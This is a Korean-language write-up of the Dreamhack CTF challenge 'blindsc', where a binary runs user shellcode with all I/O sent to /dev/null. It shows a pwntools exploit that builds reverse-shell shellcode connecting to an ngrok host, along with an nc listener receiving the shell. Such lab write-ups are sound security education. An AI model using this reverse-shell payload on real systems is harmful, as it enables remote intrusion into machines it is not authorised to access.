[dreamhack] blindsc writeup

1. 문제

thumbnail
blindsc

주어진 바이너리를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/1018

2. 풀이


int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  __int64 v8; // rbx
  __int64 v9; // rbx
  __int64 v10; // rbx
  __int64 v11; // rbx
  __int64 v12; // rbx
  __int64 v13; // rbx
  __int64 v14; // rbx
  __int64 v15; // rbx
  __int64 v16; // rbx
  __int64 v17; // rbx
  __int64 v18; // rbx
  int fd; // [rsp+24h] [rbp-1Ch]
  void (*v21)(void); // [rsp+28h] [rbp-18h]

  setup();
  printf("Input shellcode: ");
  read(0, &buf, 0x100uLL);
  v21 = (void (*)(void))mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  v3 = qword_4068;
  *(_QWORD *)v21 = buf;
  *((_QWORD *)v21 + 1) = v3;
  v4 = qword_4078;
  *((_QWORD *)v21 + 2) = qword_4070;
  *((_QWORD *)v21 + 3) = v4;
  v5 = qword_4088;
  *((_QWORD *)v21 + 4) = qword_4080;
  *((_QWORD *)v21 + 5) = v5;
  v6 = qword_4098;
  *((_QWORD *)v21 + 6) = qword_4090;
  *((_QWORD *)v21 + 7) = v6;
  v7 = qword_40A8;
  *((_QWORD *)v21 + 8) = qword_40A0;
  *((_QWORD *)v21 + 9) = v7;
  v8 = qword_40B8;
  *((_QWORD *)v21 + 10) = qword_40B0;
  *((_QWORD *)v21 + 11) = v8;
  v9 = qword_40C8;
  *((_QWORD *)v21 + 12) = qword_40C0;
  *((_QWORD *)v21 + 13) = v9;
  v10 = qword_40D8;
  *((_QWORD *)v21 + 14) = qword_40D0;
  *((_QWORD *)v21 + 15) = v10;
  v11 = qword_40E8;
  *((_QWORD *)v21 + 16) = qword_40E0;
  *((_QWORD *)v21 + 17) = v11;
  v12 = qword_40F8;
  *((_QWORD *)v21 + 18) = qword_40F0;
  *((_QWORD *)v21 + 19) = v12;
  v13 = qword_4108;
  *((_QWORD *)v21 + 20) = qword_4100;
  *((_QWORD *)v21 + 21) = v13;
  v14 = qword_4118;
  *((_QWORD *)v21 + 22) = qword_4110;
  *((_QWORD *)v21 + 23) = v14;
  v15 = qword_4128;
  *((_QWORD *)v21 + 24) = qword_4120;
  *((_QWORD *)v21 + 25) = v15;
  v16 = qword_4138;
  *((_QWORD *)v21 + 26) = qword_4130;
  *((_QWORD *)v21 + 27) = v16;
  v17 = qword_4148;
  *((_QWORD *)v21 + 28) = qword_4140;
  *((_QWORD *)v21 + 29) = v17;
  v18 = qword_4158;
  *((_QWORD *)v21 + 30) = qword_4150;
  *((_QWORD *)v21 + 31) = v18;
  puts("\nNot gonna show you the result!");
  fd = open("/dev/null", 2);
  dup2(fd, 0);
  dup2(fd, 1);
  dup2(fd, 2);
  v21();
  return 0;
}

IDA로 까본 코드이다. 뭔가 길지만 결국 쉘코드를 buf 변수에 입력하고 실행해주지만, 대신에 입출력을 아예 막아놓은 형태이다. 이 경우에는 일반적인 쉘코드로 하면 쉘을 제대로 얻을 수 없기때문에 외부로 리버스쉘을 연결해주면 새로운 fd를 받아서 입출력이 가능하다.


간단하게 shellcraft를 통해서 작성했다.

그리고 하필 지금 사용하는 오라클 클라우드 서버에 도메인연결이나 웹서버 작업을 전혀 안해놓아서 그런건지 서버 ip로만 넣으면 안잡히길래 ngrok을 설치 및 연결해서 했다.

from pwn import *

p = process("./blindsc")
p = remote("host8.dreamhack.games", 18358)

context(arch="amd64", os="linux")

shellcode = shellcraft.connect('6.tcp.ngrok.io', 13880)
#shellcode = shellcraft.connect('127.0.0.1', 11337)
shellcode += shellcraft.findpeersh()

p.sendafter(b": ", asm(shellcode))
p.interactive()

shellcraft를 처음 사용해봐서 몰랐는데 마지막에 asm으로 싸서 보내줘야 한다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/blindsc$ python3 e_blindsc.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/ubuntu/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.1)
[+] Starting local process './blindsc': pid 2925323
[*] Switching to interactive mode

Not gonna show you the result!
[*] Got EOF while reading in interactive
$

코드를 실행하기전에 nc로 대기하고 있으면 아래와 같이 입력을 받는다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/blindsc$ nc -nlvp 11337
Listening on 0.0.0.0 11337
Connection received on 127.0.0.1 42482
id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
cat flag
cat: flag: No such file or directory

해결~